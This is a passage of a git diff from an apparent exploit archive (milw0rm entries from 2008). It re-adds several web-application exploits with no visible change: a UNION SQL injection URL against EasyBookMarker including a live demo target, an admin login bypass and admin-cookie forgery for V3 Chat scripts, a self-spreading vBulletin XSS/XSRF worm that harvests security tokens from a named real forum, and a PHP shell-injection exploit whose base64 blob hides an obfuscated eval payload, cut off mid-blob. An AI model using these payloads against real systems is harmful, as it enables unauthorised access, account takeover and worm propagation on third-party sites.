+//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
+//ALLAH, forgimme...
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+exit(); //EoX
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+# milw0rm.com [2008-11-04]
diff --git a/platforms/php/webapps/7053.txt b/platforms/php/webapps/7053.txt
index 46425b180..57e9b25bc 100755
--- a/platforms/php/webapps/7053.txt
+++ b/platforms/php/webapps/7053.txt
@@ -1,53 +1,53 @@
-==============================================================================
-                      _      _       _          _      _   _ 
-                     / \    | |     | |        / \    | | | |
-                    / _ \   | |     | |       / _ \   | |_| |
-                   / ___ \  | |___  | |___   / ___ \  |  _  |
-   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
-                                                             
-
-==============================================================================
-                      ____   _  _     _   _    ___    _  __
-                     / ___| | || |   | \ | |  / _ \  | |/ /
-                    | |  _  | || |_  |  \| | | | | | | ' / 
-                    | |_| | |__   _| | |\  | | |_| | | . \ 
-                     \____|    |_|   |_| \_|  \___/  |_|\_\
-
-==============================================================================
-	Myiosoft EasyBookMarker v4 (Parent) SQL Injection Vulnerability
-==============================================================================
-
-	[»] Script:             [ Myiosoft EasyBookMarker ]
-	[»] Language:           [ PHP ]
-	[»] Website:            [ http://myiosoft.com/?1.4.0.0 ]
-	[»] Type:               [ Commercial ]
-	[»] Report-Date:        [ 07.11.2008 ]
-	[»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]
-
-
-===[ XPL ]===
-
-	[»] http://localhost/[path]/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--
-
-
-===[ LIVE ]===
-
-	[»] http://myiosoft.com/products/EasyBookMarker/demo/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--
-
-
-
-	
-===[ Greetz ]===
-
-	[»] ALLAH
-	[»] Tornado2800 <Tornado2800[at]gmail.com>
-	[»] Hussain-X <darkangel_g85[at]yahoo.com>
-
-	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
-	//ALLAH,forgimme...
-
-===============================================================================
-exit(); //EoX
-===============================================================================
-
-# milw0rm.com [2008-11-07]
+==============================================================================
+                      _      _       _          _      _   _ 
+                     / \    | |     | |        / \    | | | |
+                    / _ \   | |     | |       / _ \   | |_| |
+                   / ___ \  | |___  | |___   / ___ \  |  _  |
+   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
+                                                             
+
+==============================================================================
+                      ____   _  _     _   _    ___    _  __
+                     / ___| | || |   | \ | |  / _ \  | |/ /
+                    | |  _  | || |_  |  \| | | | | | | ' / 
+                    | |_| | |__   _| | |\  | | |_| | | . \ 
+                     \____|    |_|   |_| \_|  \___/  |_|\_\
+
+==============================================================================
+	Myiosoft EasyBookMarker v4 (Parent) SQL Injection Vulnerability
+==============================================================================
+
+	[»] Script:             [ Myiosoft EasyBookMarker ]
+	[»] Language:           [ PHP ]
+	[»] Website:            [ http://myiosoft.com/?1.4.0.0 ]
+	[»] Type:               [ Commercial ]
+	[»] Report-Date:        [ 07.11.2008 ]
+	[»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]
+
+
+===[ XPL ]===
+
+	[»] http://localhost/[path]/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--
+
+
+===[ LIVE ]===
+
+	[»] http://myiosoft.com/products/EasyBookMarker/demo/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--
+
+
+
+	
+===[ Greetz ]===
+
+	[»] ALLAH
+	[»] Tornado2800 <Tornado2800[at]gmail.com>
+	[»] Hussain-X <darkangel_g85[at]yahoo.com>
+
+	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
+	//ALLAH,forgimme...
+
+===============================================================================
+exit(); //EoX
+===============================================================================
+
+# milw0rm.com [2008-11-07]
diff --git a/platforms/php/webapps/7061.txt b/platforms/php/webapps/7061.txt
index 0eabcd311..4e9bc7fee 100755
--- a/platforms/php/webapps/7061.txt
+++ b/platforms/php/webapps/7061.txt
@@ -1,26 +1,26 @@
-[~] V3 Chat - Profiles/Dating Script v3.0.2 Auth Bypass Vulnerability
-[~]
-[~] -----------------------------------------------------------------
-[~] Discovered By: d3b4g
-[~]
-[~] contact: bl4ckend[at]gmail[dot]com  
-[~] 
-[~] Risk: High
-
- ---------------------------------------------------------------------
-
-Exploit: USe this information to bypass admin login
-
-username: ' or ' 1=1
-
-password: ' or ' 1=1
------------------------------------------------------------------------
-
-Demo: http://v3chat.com/v3profiles/admin/
-
-
-
-[~]----------------------------------------------------------------------
-[~] Greetz tO: All fu3k3rz
-
-# milw0rm.com [2008-11-08]
+[~] V3 Chat - Profiles/Dating Script v3.0.2 Auth Bypass Vulnerability
+[~]
+[~] -----------------------------------------------------------------
+[~] Discovered By: d3b4g
+[~]
+[~] contact: bl4ckend[at]gmail[dot]com  
+[~] 
+[~] Risk: High
+
+ ---------------------------------------------------------------------
+
+Exploit: USe this information to bypass admin login
+
+username: ' or ' 1=1
+
+password: ' or ' 1=1
+-----------------------------------------------------------------------
+
+Demo: http://v3chat.com/v3profiles/admin/
+
+
+
+[~]----------------------------------------------------------------------
+[~] Greetz tO: All fu3k3rz
+
+# milw0rm.com [2008-11-08]
diff --git a/platforms/php/webapps/7063.txt b/platforms/php/webapps/7063.txt
index 52a30c607..8c0f8bc69 100755
--- a/platforms/php/webapps/7063.txt
+++ b/platforms/php/webapps/7063.txt
@@ -1,9 +1,9 @@
-###############################################################################################
-[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
-[+] Discovered By : Mountassif Moad         
-[+] Greetz : All my freind         
-################################################################################################
-Exploit:
-javascript:document.cookie = "admin=1; path=/";
-
-# milw0rm.com [2008-11-08]
+###############################################################################################
+[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
+[+] Discovered By : Mountassif Moad         
+[+] Greetz : All my freind         
+################################################################################################
+Exploit:
+javascript:document.cookie = "admin=1; path=/";
+
+# milw0rm.com [2008-11-08]
diff --git a/platforms/php/webapps/7069.txt b/platforms/php/webapps/7069.txt
index 576c48d7a..6ee610fe8 100755
--- a/platforms/php/webapps/7069.txt
+++ b/platforms/php/webapps/7069.txt
@@ -1,68 +1,68 @@
-***********************************************************************************************************************************************************       
-[!]                                                                                                                                                     [!]
-[!]                                  OOOO             O                                 OOOOOOOOO                                                       [!]
-[!]                                 O    O            O                                 O      O                                                        [!]
-[!]                                 O                 O                                       O                                                         [!]
-[!]                                 O      OOOO  OOOO OOOOOO     OOOO   OOO OO               O      OOOO   OO OO     OOOO                               [!]
-[!]                                 O       OOO  OOO  O     O   O    O    OO  O             O      O    O   OO  O   O    O                              [!]
-[!]                                 O        OO  OO   O     O   OOOOOO    O     *******    O       O    O   O   O   OOOOOO                              [!]
-[!]                                 O    O    OOOO    O     O   O         O               O      O O    O   O   O   O                                   [!]
-[!]                                  OOOO      OO     OOOOOO     OOOO   OOOOOO           OOOOOOOOO  OOOO   OOO OOO   OOOO                               [!]
-[!]                                           OO                                                                                                        [!]
-[!]                                          OO                                                                                                         [!]
-[!]                                         OO                          Proud To Be MoroCCaN                                                            [!]
-[!]                                        OO                                                                                                           [!]
-***********************************************************************************************************************************************************
-+----                                                        Bismi Allah Irahmani ArraHim                                                             ----+
-++--------------------------------------------------------------------------------------------------------------------------------------------------------+
-++                                     [ V3 Chat Live Support v3.0.4 Insecure Cookie Handling Vulnerability ]                                            ++
-+--------------------------------------------------------------------------------------------------------------------------------------------------------++
-:   Author   : Cyber-Zone   ( Abdelkhalek)                                                                :       :                                       :
-¦   E-MaiL   : Paradis_des_fous[at]hotmail[dot]fr                                                         ¦       ¦                                       ¦
-¦   Home     : WwW.IQ-Ty.CoM                                                                              ¦       ¦         MySQL Version Is :            ¦
-¦   From     : MoroCCo                                                                                    ¦       ¦                                       ¦
-¦   Script   : http://v3chat.com                                                                          ¦       ¦                ![ ]!                  ¦
-¦   Download : http://v3chat.com/live_support.php                                                         ¦       ¦                                       ¦
-¦   RisK     : High [¦¦¦¦¦¦¦¦]                                                                            ¦       ¦                                       ¦
-¦ --------------------------------------------------------------------------------------------------------+       +-------------------------------------- ¦
-¦                                                          From The Dark Side Of MoroCCo                                                                 ++
-+--------------------------------------------------------------------------------------------------------------------------------------------------------++
-:                                                                                                                                                         :
-¦  Remember    :                                                                                                                                          ¦
-¦  -------------                                                                                                                                          ¦
-¦                                                                                                                                                         ¦
-¦  This information is only for educational purpose, Cyber-Zone will not bear responsibility for any damages.                                             ¦
-¦                                                                                                                                                         ¦
-
-++--------------------------------------------------------------------------------------------------------------------------------------------------------+
-++        [!]  Fi khater Ga3 Li TkarfasT 3liHom , Wali SabbiThom F IndeX Dyali , NabGhi NgoliHom : Rakom MaChafto WaLo , Wal9adimo Al3an  [!]            ++
-+--------------------------------------------------------------------------------------------------------------------------------------------------------++
-
-
-hato had code f URL :
-
-javascript:document.cookie = "admin=1; path=/";
-
-Live demo :
-
-javascript:document.cookie = "admin=1; path=/v3livesupport-v304/admin/index.php; domain=v3chat.commain.php";
-
-http://v3chat.com/v3livesupport-v304/admin/index.php
-
-3awdo wtaw f enter f had Url :
-
-http://v3chat.com/v3livesupport-v304/admin/messages.php
-
-Please wait, logging you in...   :)
-
-
-
-+--------------------------------------------------------------------------------------------------------------------------------------------------------++
-+----                                                                  ThanX To                                                                       ----+
-++--------------------------------------------------------------------------------------------------------------------------------------------------------+
-++[  $ Hussin X , $ StaCk , $ JIKO , $ The_5p3cTrum , $ BayHay , $ CraCKEr , $ Oujda-Lord , $ GeneraL , $ Force-Major , $ WaLid , $ Oujda & Figuig City ]++
-+--------------------------------------------------------------------------------------------------------------------------------------------------------++
-=                                                                    [AttaCk Is CompLet]                                                                  =
-___________________________________________________________________________________________________________________________________________________________
-
-# milw0rm.com [2008-11-08]
+***********************************************************************************************************************************************************       
+[!]                                                                                                                                                     [!]
+[!]                                  OOOO             O                                 OOOOOOOOO                                                       [!]
+[!]                                 O    O            O                                 O      O                                                        [!]
+[!]                                 O                 O                                       O                                                         [!]
+[!]                                 O      OOOO  OOOO OOOOOO     OOOO   OOO OO               O      OOOO   OO OO     OOOO                               [!]
+[!]                                 O       OOO  OOO  O     O   O    O    OO  O             O      O    O   OO  O   O    O                              [!]
+[!]                                 O        OO  OO   O     O   OOOOOO    O     *******    O       O    O   O   O   OOOOOO                              [!]
+[!]                                 O    O    OOOO    O     O   O         O               O      O O    O   O   O   O                                   [!]
+[!]                                  OOOO      OO     OOOOOO     OOOO   OOOOOO           OOOOOOOOO  OOOO   OOO OOO   OOOO                               [!]
+[!]                                           OO                                                                                                        [!]
+[!]                                          OO                                                                                                         [!]
+[!]                                         OO                          Proud To Be MoroCCaN                                                            [!]
+[!]                                        OO                                                                                                           [!]
+***********************************************************************************************************************************************************
++----                                                        Bismi Allah Irahmani ArraHim                                                             ----+
+++--------------------------------------------------------------------------------------------------------------------------------------------------------+
+++                                     [ V3 Chat Live Support v3.0.4 Insecure Cookie Handling Vulnerability ]                                            ++
++--------------------------------------------------------------------------------------------------------------------------------------------------------++
+:   Author   : Cyber-Zone   ( Abdelkhalek)                                                                :       :                                       :
+¦   E-MaiL   : Paradis_des_fous[at]hotmail[dot]fr                                                         ¦       ¦                                       ¦
+¦   Home     : WwW.IQ-Ty.CoM                                                                              ¦       ¦         MySQL Version Is :            ¦
+¦   From     : MoroCCo                                                                                    ¦       ¦                                       ¦
+¦   Script   : http://v3chat.com                                                                          ¦       ¦                ![ ]!                  ¦
+¦   Download : http://v3chat.com/live_support.php                                                         ¦       ¦                                       ¦
+¦   RisK     : High [¦¦¦¦¦¦¦¦]                                                                            ¦       ¦                                       ¦
+¦ --------------------------------------------------------------------------------------------------------+       +-------------------------------------- ¦
+¦                                                          From The Dark Side Of MoroCCo                                                                 ++
++--------------------------------------------------------------------------------------------------------------------------------------------------------++
+:                                                                                                                                                         :
+¦  Remember    :                                                                                                                                          ¦
+¦  -------------                                                                                                                                          ¦
+¦                                                                                                                                                         ¦
+¦  This information is only for educational purpose, Cyber-Zone will not bear responsibility for any damages.                                             ¦
+¦                                                                                                                                                         ¦
+
+++--------------------------------------------------------------------------------------------------------------------------------------------------------+
+++        [!]  Fi khater Ga3 Li TkarfasT 3liHom , Wali SabbiThom F IndeX Dyali , NabGhi NgoliHom : Rakom MaChafto WaLo , Wal9adimo Al3an  [!]            ++
++--------------------------------------------------------------------------------------------------------------------------------------------------------++
+
+
+hato had code f URL :
+
+javascript:document.cookie = "admin=1; path=/";
+
+Live demo :
+
+javascript:document.cookie = "admin=1; path=/v3livesupport-v304/admin/index.php; domain=v3chat.commain.php";
+
+http://v3chat.com/v3livesupport-v304/admin/index.php
+
+3awdo wtaw f enter f had Url :
+
+http://v3chat.com/v3livesupport-v304/admin/messages.php
+
+Please wait, logging you in...   :)
+
+
+
++--------------------------------------------------------------------------------------------------------------------------------------------------------++
++----                                                                  ThanX To                                                                       ----+
+++--------------------------------------------------------------------------------------------------------------------------------------------------------+
+++[  $ Hussin X , $ StaCk , $ JIKO , $ The_5p3cTrum , $ BayHay , $ CraCKEr , $ Oujda-Lord , $ GeneraL , $ Force-Major , $ WaLid , $ Oujda & Figuig City ]++
++--------------------------------------------------------------------------------------------------------------------------------------------------------++
+=                                                                    [AttaCk Is CompLet]                                                                  =
+___________________________________________________________________________________________________________________________________________________________
+
+# milw0rm.com [2008-11-08]
diff --git a/platforms/php/webapps/7174.txt b/platforms/php/webapps/7174.txt
index 19d8bf398..18bb4eeed 100755
--- a/platforms/php/webapps/7174.txt
+++ b/platforms/php/webapps/7174.txt
@@ -1,93 +1,93 @@
-/* -----------------------------
- * Author      = Mx
- * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
- * Software    = vBulletin
- * Addon       = Visitor Messages
- * Version     = 3.7.3
- * Attack      = XSS/XSRF
-
- - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
- + with the visitor messages addon (a clone of a social network wall/comment area).
- - When posting XSS, the data is run through htmlentities(); before being displayed
- + to the general public/forum members. However, when posting a new message,
- - a new notification is sent to the commentee. The commenter posts a XSS vector such as
- + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
- + and I have included an example worm that makes the user post a new thread with your own
- - specified subject and message.
-
- * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
- * of the attack method.
- * ----------------------------- */
-
-function getNewHttpObject() {
-var objType = false;
-try {
-objType = new ActiveXObject('Msxml2.XMLHTTP');
-} catch(e) {
-try {
-objType = new ActiveXObject('Microsoft.XMLHTTP');
-} catch(e) {
-objType = new XMLHttpRequest();
-}
-}
-return objType;
-}
-
-function getAXAH(url){
-
-var theHttpRequest = getNewHttpObject();
-theHttpRequest.onreadystatechange = function() {processAXAH();};
-theHttpRequest.open("GET", url);
-theHttpRequest.send(false);
-
-function processAXAH(){
-if (theHttpRequest.readyState == 4) {
-if (theHttpRequest.status == 200) {
-
-var str = theHttpRequest.responseText;
-var secloc = str.indexOf('var SECURITYTOKEN = "');
-var sectok = str.substring(21+secloc,secloc+51+21);
-
-var posloc = str.indexOf('posthash" value="');
-var postok = str.substring(17+posloc,posloc+32+17);
-
-var subject = 'subject text';
-var message = 'message text';
-
-postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
-
-}
-}
-}
-}
-
-
-
-
-
-
-
-
-function postAXAH(url, params) {
-var theHttpRequest = getNewHttpObject();
-               
-theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
-theHttpRequest.open("POST", url);
-theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
-theHttpRequest.send(params);
-
-function processAXAHr(elementContainer){
-if (theHttpRequest.readyState == 4) {
-if (theHttpRequest.status == 200) {
-
-}
-}
-}
-}
-
-
-getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
-document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
-
-# milw0rm.com [2008-11-20]
+/* -----------------------------
+ * Author      = Mx
+ * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
+ * Software    = vBulletin
+ * Addon       = Visitor Messages
+ * Version     = 3.7.3
+ * Attack      = XSS/XSRF
+
+ - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ + with the visitor messages addon (a clone of a social network wall/comment area).
+ - When posting XSS, the data is run through htmlentities(); before being displayed
+ + to the general public/forum members. However, when posting a new message,
+ - a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
+ - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ + and I have included an example worm that makes the user post a new thread with your own
+ - specified subject and message.
+
+ * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
+ * of the attack method.
+ * ----------------------------- */
+
+function getNewHttpObject() {
+var objType = false;
+try {
+objType = new ActiveXObject('Msxml2.XMLHTTP');
+} catch(e) {
+try {
+objType = new ActiveXObject('Microsoft.XMLHTTP');
+} catch(e) {
+objType = new XMLHttpRequest();
+}
+}
+return objType;
+}
+
+function getAXAH(url){
+
+var theHttpRequest = getNewHttpObject();
+theHttpRequest.onreadystatechange = function() {processAXAH();};
+theHttpRequest.open("GET", url);
+theHttpRequest.send(false);
+
+function processAXAH(){
+if (theHttpRequest.readyState == 4) {
+if (theHttpRequest.status == 200) {
+
+var str = theHttpRequest.responseText;
+var secloc = str.indexOf('var SECURITYTOKEN = "');
+var sectok = str.substring(21+secloc,secloc+51+21);
+
+var posloc = str.indexOf('posthash" value="');
+var postok = str.substring(17+posloc,posloc+32+17);
+
+var subject = 'subject text';
+var message = 'message text';
+
+postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
+
+}
+}
+}
+}
+
+
+
+
+
+
+
+
+function postAXAH(url, params) {
+var theHttpRequest = getNewHttpObject();
+               
+theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
+theHttpRequest.open("POST", url);
+theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
+theHttpRequest.send(params);
+
+function processAXAHr(elementContainer){
+if (theHttpRequest.readyState == 4) {
+if (theHttpRequest.status == 200) {
+
+}
+}
+}
+}
+
+
+getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
+document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
+
+# milw0rm.com [2008-11-20]
diff --git a/platforms/php/webapps/7211.php b/platforms/php/webapps/7211.php
index c73dc4bb4..02b320ef3 100755
--- a/platforms/php/webapps/7211.php
+++ b/platforms/php/webapps/7211.php
@@ -1,827 +1,827 @@
-<?php  
-#===========================================#
-#=    [x] VideoScript 3.0 <= 4.0.1.50 Official Shell Injection Exploit  =#
-#=    [x] by G4N0K                                                                              =#
-#===========================================#
-error_reporting(E_ALL);
-	                $G4N0K ="JEc0TjBLID0gPDw8RU9HDQo8Ym9keSBiZ2NvbG9yPSIjQ0NDQ0NDIj48ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlO21hcmdp".
-			"bjphdXRvO2JvcmRlcjojNjY2NjY2IDFweCBzb2xpZDt3aWR0aDo3MDBweDsiPg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50".
-			"ZXI7Ij48cHJlPg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09DQogICAgICAgICAgICAgICAgICAgICAgXyAgICAgIF8gICAgICAgXyAgICAgICAgICBfICAgICAgXyAg".
-			"IF8gDQogICAgICAgICAgICAgICAgICAgICAvIFwgICAgfCB8ICAgICB8IHwgICAgICAgIC8gXCAgICB8IHwgfCB8DQogICAgICAg".
-			"ICAgICAgICAgICAgIC8gXyBcICAgfCB8ICAgICB8IHwgICAgICAgLyBfIFwgICB8IHxffCB8DQogICAgICAgICAgICAgICAgICAg".
-			"LyBfX18gXCAgfCB8X19fICB8IHxfX18gICAvIF9fXyBcICB8ICBfICB8DQogICBJTiBUSEUgTkFNRSBPRiAvXy8gICBcX1wgfF9f".
-			"X19ffCB8X19fX198IC9fLyAgIFxfXCB8X3wgfF98DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg".
-			"ICAgICAgICAgICAgICAgICAgDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgICAgICAgICAgICAgICAgICAgIF9fX18gICBfICBfICAgICBfICAgXyAgICBf".
-			"X18gICAgXyAgX18NCiAgICAgICAgICAgICAgICAgICAgIC8gX19ffCB8IHx8IHwgICB8IFwgfCB8ICAvIF8gXCAgfCB8LyAvDQog".
-			"ICAgICAgICAgICAgICAgICAgIHwgfCAgXyAgfCB8fCB8XyAgfCAgXHwgfCB8IHwgfCB8IHwgJyAvIA0KICAgICAgICAgICAgICAg".
-			"ICAgICB8IHxffCB8IHxfXyAgIF98IHwgfFwgIHwgfCB8X3wgfCB8IC4gXCANCiAgICAgICAgIGVYcGxvIXQgQnkgIFxfX19ffCAg".
-			"ICB8X3wgICB8X3wgXF98ICBcX19fLyAgfF98XF9cDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVZpZGVvU2NyaXB0IDMuMCA8PSA0LjAuMS41MCBPZmZpY2lh".
-			"bCBTaGVsbCBJbmplY3Rpb24gRXhwbG9pdA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo8L3ByZT48L2Rpdj4NCkVPRzsNCmVjaG8gJEc0TjBLOw0KJEZPUk09IDw8".
-			"PEZGRg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48Zm9ybSBhbGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luOmF1".
-			"dG87d2lkdGg6NjAwcHg7Zm9udC1mYW1pbHk6VGFob21hO2ZvbnQtc2l6ZTo4cHQ7IiBhY3Rpb249InskX1NFUlZFUlsnUEhQX1NF".
-			"TEYnXX0iIG1ldGhvZD0icG9zdCI+DQpQYXRoIGV4OiAvdmlkZW9zY3JpcHQvDQoJPGZpZWxkc2V0Pg0KCTxsZWdlbmQ+PGI+Jm5i".
-			"c3A7RSB4IHAgbCBvIGkgdCZuYnNwOzwvYj48L2xlZ2VuZD48YnIgLz4NCgk8bGFiZWwgZm9yPSJ1cmlfR05LIiBzdHlsZT0id2lk".
-			"dGg6MTAwcHg7Ij5Ib3N0OjwvbGFiZWw+DQoJPGlucHV0IHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjY2NjO3dpZHRoOjE3MHB4".
-			"OyIgaWQ9InVyaV9HTksiIG5hbWU9InVyaV9HTksiIHR5cGU9InRleHQiIHZhbHVlPSIiPg0KCTxsYWJlbCBmb3I9InBvcnRfR05L".
-			"Ij4mbmJzcDtQb3J0OjwvbGFiZWw+DQoJPGlucHV0IHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjY2NjO3dpZHRoOjQwcHg7IiBp".
-			"ZD0icG9ydF9HTksiIG5hbWU9InBvcnRfR05LIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iODAiPg0KCTxsYWJlbCBmb3I9InBhdGhfR05L".
-			"Ij4mbmJzcDtQYXRoOjwvbGFiZWw+DQoJPGlucHV0IHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjY2NjO3dpZHRoOjcwcHg7IiBp".
-			"ZD0icGF0aF9HTksiIG5hbWU9InBhdGhfR05LIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iLyI+PGJyIC8+PGJyIC8+DQoJPC9maWVsZHNl".
-			"dD48YnIgLz48YnIgLz4NCgk8aW5wdXQgaWQ9ImdvX0dOSyIgbmFtZT0iZ29fR05LIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJBY3Rp".
-			"b24hIj4NCgk8aW5wdXQgaWQ9InJlc2V0X0dOSyIgbmFtZT0icmVzZXRfR05LIiB0eXBlPSJyZXNldCIgdmFsdWU9IlJlc2V0Ij48".
-			"YnIgLz4NCjwvZm9ybT48L2Rpdj4NCjxiciAvPjxiciAvPg0KPC9kaXY+DQpGRkY7DQppZiAoaXNzZXQoJF9QT1NUWydnb19HTksn".
-			"XSkgJiYgaXNzZXQoJF9QT1NUWyJ1cmlfR05LIl0pICYmICFlbXB0eSgkX1BPU1RbInVyaV9HTksiXSkgJiYgaXNzZXQoJF9QT1NU".
-			"WyJwYXRoX0dOSyJdKSAmJiAhZW1wdHkoJF9QT1NUWyJwYXRoX0dOSyJdKSkgeyRqb2tlID0gIlBPU1QgIi4kX1BPU1RbInBhdGhf".
-			"R05LIl0uImFkbWluL2hvbWVzZXQucGhwIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJF9QT1NUWyJ1cmlfR05LIl0uIlxyXG5Vc2VyLUFn".
-			"ZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjkpIEdlY2tvLzIwMDgwNTI5".
-			"MDYgRmlyZWZveC8zLjBcclxuS2VlcC1BbGl2ZTogMzAwXHJcbkNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuQ29udGVudC1UeXBl".
-			"OiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuQ29udGVudC1MZW5ndGg6IDU3MzA5XHJcblxyXG5kYmhvc3Q9".
-			"JTIyJTNCZXJyb3JfcmVwb3J0aW5nJTI4MCUyOSUzQiUyNGxhbmd1YWdlJTNEJTI3ZW5nJTI3JTNCJTI0YXV0aCslM0QrMSUzQiUy".
-			"NG5hbWUlM0QlMjcyZTlmMGNkMDI2M2ZiNmI5ODFkMGFiMTY5N2E0YjkxYSUyNyUzQiUyNHBhc3MlM0QlMjcyZTlmMGNkMDI2M2Zi".
-			"NmI5ODFkMGFiMTY5N2E0YjkxYSUyNyUzQiU0MGluaV9yZXN0b3JlJTI4JTIyc2FmZV9tb2RlJTIyJTI5JTNCJTQwaW5pX3Jlc3Rv".
-			"cmUlMjglMjJvcGVuX2Jhc2VkaXIlMjIlMjklM0IlNDBpbmlfcmVzdG9yZSUyOCUyMnNhZmVfbW9kZV9pbmNsdWRlX2RpciUyMiUy".
-			"OSUzQiU0MGluaV9yZXN0b3JlJTI4JTIyc2FmZV9tb2RlX2V4ZWNfZGlyJTIyJTI5JTNCJTQwaW5pX3Jlc3RvcmUlMjglMjJkaXNh".
-			"YmxlX2Z1bmN0aW9ucyUyMiUyOSUzQiU0MGluaV9yZXN0b3JlJTI4JTIyYWxsb3dfdXJsX2ZvcGVuJTIyJTI5JTNCJTQwaW5pX3Nl".
-			"dCUyOCUyN2Vycm9yX2xvZyUyNyUyQ05VTEwlMjklM0IlNDBpbmlfc2V0JTI4JTI3bG9nX2Vycm9ycyUyNyUyQzAlMjklM0JldmFs".
-			"JTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOCUyN0ZKekhrcVBhdGtVJTJGNTUwSUdualh4SHZ2NmJ6QWUwaUU1JTJCc3ZG".
-			"Vkd0S3FYTVpxMDV4MUNsVkozWiUyQkYlMkZ6ZG5NOVpudjFYNTV0RllIOWYxa1ZTMW45OTMlMkJpaW9yRFlXdmlFSUE0R2duc3BH".
-			"VGQzN0RQJTJCdVZFMUl2UlpRSCUyRjhseGZ0NHVxQ0hva1R0VUFVQkJHc0R1Y0FYSThuN2YwR3Ayc1lYa0tZQmtBY0dCZFpoV1ps".
-			"RGNCSXZiNW9YRlolMkZzN3A1a3NyWHNaMjlFY0hpRkRxJTJGbE1nYXY0VkxlcXFURjZ0UHR6SVdCdlRYdmdUTktqWEZncW1vWGE4".
-			"MEU0WkNrOXhidk5QemhEbGVkT0RVMVBIY3Q5SjZ2T3RpSzZmZ2RUYkJtSzNFNDdBYSUyRlVSQjI0dGxkaHRFZTQ2VGpxcE1iNERC".
